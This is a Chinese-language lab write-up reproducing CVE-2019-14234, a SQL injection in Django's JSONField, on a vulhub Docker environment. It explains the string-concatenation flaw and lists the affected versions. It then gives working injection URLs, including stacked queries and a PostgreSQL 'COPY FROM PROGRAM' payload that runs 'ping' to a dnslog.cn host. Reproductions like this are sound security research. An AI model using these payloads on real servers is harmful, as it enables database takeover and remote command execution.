【研究】CVE-2019-14234 Django JSONField SQL注入漏洞復現

【研究】CVE-2019-14234 Django JSONField SQL注入漏洞復現

1.環境

環境
直接使用vulhub的docker環境搭建
vulhub/django/CVE-2019-14234/

2.原理

該漏洞需要開發者使用了JSONField/HStoreField,且用戶可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。

Django通常搭配postgresql數據庫,而JSONField是該數據庫的一種數據類型。該漏洞的出現的原因在於Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字符串拼接。
通過JSONField類獲得KeyTransform類並生成sql語句的位置。
其中key_name是可控的字符串,最終生成的語句是WHERE (field->’[key_name]’) =
‘value’,因此可以進行SQL注入。
在這裏插入圖片描述

3.影響版本

Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4

4.利用過程

訪問http://ip:8000/admin/login/?next=/admin/
輸入用戶名admin ,密碼a123123123
在這裏插入圖片描述

進入漏洞界面

然後訪問
http://ip:8000/admin/vuln/collection/

在這裏插入圖片描述

手工測試看看

http://10.77.0.130:8000/admin/vuln/collection/?detail__a'b=123

報錯出來 截斷了
在這裏插入圖片描述

命令執行語句

http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;create table cmd_exec(cmd_output text)-- 

在這裏插入圖片描述
這裏應該是執行了,試一下DNSLog

http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping v62ce2.dnslog.cn'-- 

ok成功了
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章